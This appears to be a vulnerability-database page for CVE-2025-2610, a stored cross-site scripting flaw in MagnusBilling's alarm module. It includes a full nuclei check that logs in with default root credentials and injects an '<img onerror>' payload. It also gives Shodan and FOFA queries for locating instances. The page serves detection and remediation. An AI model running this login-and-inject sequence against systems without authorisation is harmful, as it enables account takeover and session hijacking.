HexBrain

Browse / CVEs / CVE-2025-2610

CVE-2025-2610· magnussolution / magnusbilling· CWE-79

MagnusBilling Alarm Module - Cross-Site Scripting

highseverity
7.6CVSS score
1%likelihood of exploitation, next 30 days
62%of all CVEs are less likely
Readycheck to confirm it

Improper neutralization of input during web page generation vulnerability in MagnusSolution MagnusBilling (Alarm Module modules) allows authenticated stored cross-site scripting. This vulnerability is associated with program files protected/components/MagnusLog.Php.This issue affects MagnusBilling- through 7.3.0.

Impact

Authenticated attackers can inject malicious HTML and JavaScript through the alarm module that persists and executes when other administrators view alarm configurations, potentially leading to session hijacking and privilege escalation.

Fix

Upgrade to MagnusBilling version 7.3.1 or later that properly sanitizes input in the alarm module.

How to confirm it

Send: POST /mbilling/index.php/authentication/login
Positive when: status_code == 200 and contains(body, "success")
Send: GET /mbilling/index.php/authentication/check?_dc=
Positive when: status_code == 200 and contains(body, "id_agent")
Send: POST /mbilling/index.php/alarm/save?_dc=
Positive when: status_code == 200 and contains(body, "Operation was successful")
Send: GET /mbilling/index.php/alarm/read?_dc=&page=1&start=0&limit=25
Positive when: status_code == 200 and contains_all(body, "<img src=x onerror=alert(document.domain)>", "idPlanname")

Run it with nuclei: nuclei -id CVE-2025-2610 -u <target>

The full check
id: CVE-2025-2610

info:
  name: MagnusBilling Alarm Module - Cross-Site Scripting
  author: DhiyaneshDK
  severity: high
  description: |
    Improper neutralization of input during web page generation vulnerability in MagnusSolution MagnusBilling (Alarm Module modules) allows authenticated stored cross-site scripting. This vulnerability is associated with program files protected/components/MagnusLog.Php.This issue affects MagnusBilling- through 7.3.0.
  impact: |
    Authenticated attackers can inject malicious HTML and JavaScript through the alarm module that persists and executes when other administrators view alarm configurations, potentially leading to session hijacking and privilege escalation.
  remediation: |
    Upgrade to MagnusBilling version 7.3.1 or later that properly sanitizes input in the alarm module.
  reference:
    - https://vulncheck.com/advisories/magnusbilling-logs-xss
    - https://chocapikk.com/posts/2025/magnusbilling/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2610
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
    cvss-score: 7.6
    cve-id: CVE-2025-2610
    cwe-id: CWE-79
    epss-score: 0.00963
    epss-percentile: 0.61935
    cpe: cpe:2.3:a:magnussolution:magnusbilling:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: magnussolution
    product: magnusbilling
    shodan-query: http.html:"magnusbilling"
    fofa-query: body="magnusbilling"
  tags: cve,cve2025,mbilling,xss,magnusbilling,authenticated,vkev,vuln

flow: http(1) && http(2) && http(3) && http(4)

variables:
  username: "root"
  password: "9F4CA770B638615AC5C3E0D2DA16B77C80C2F2C6" # magnus
  email: "{{randstr}}@{{rand_base(5)}}.com"

http:
  - raw:
      - |
        POST /mbilling/index.php/authentication/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        user={{username}}&password={{password}}&key=

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "success")'
        condition: and
        internal: true

  - raw:
      - |
        GET /mbilling/index.php/authentication/check?_dc= HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "id_agent")'
        condition: and
        internal: true

  - raw:
      - |
        POST /mbilling/index.php/alarm/save?_dc= HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded;

        rows={"id":0,"id_plan":0,"type":1,"amount":1,"condition":1,"status":1,"email":"{{email}}","period":3600,"creationdate":null,"subject":"test","message":"<img src=x onerror=alert(document.domain)>"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Operation was successful")'
        condition: and
        internal: true

  - raw:
      - |
        GET /mbilling/index.php/alarm/read?_dc=&page=1&start=0&limit=25 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "<img src=x onerror=alert(document.domain)>", "idPlanname")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from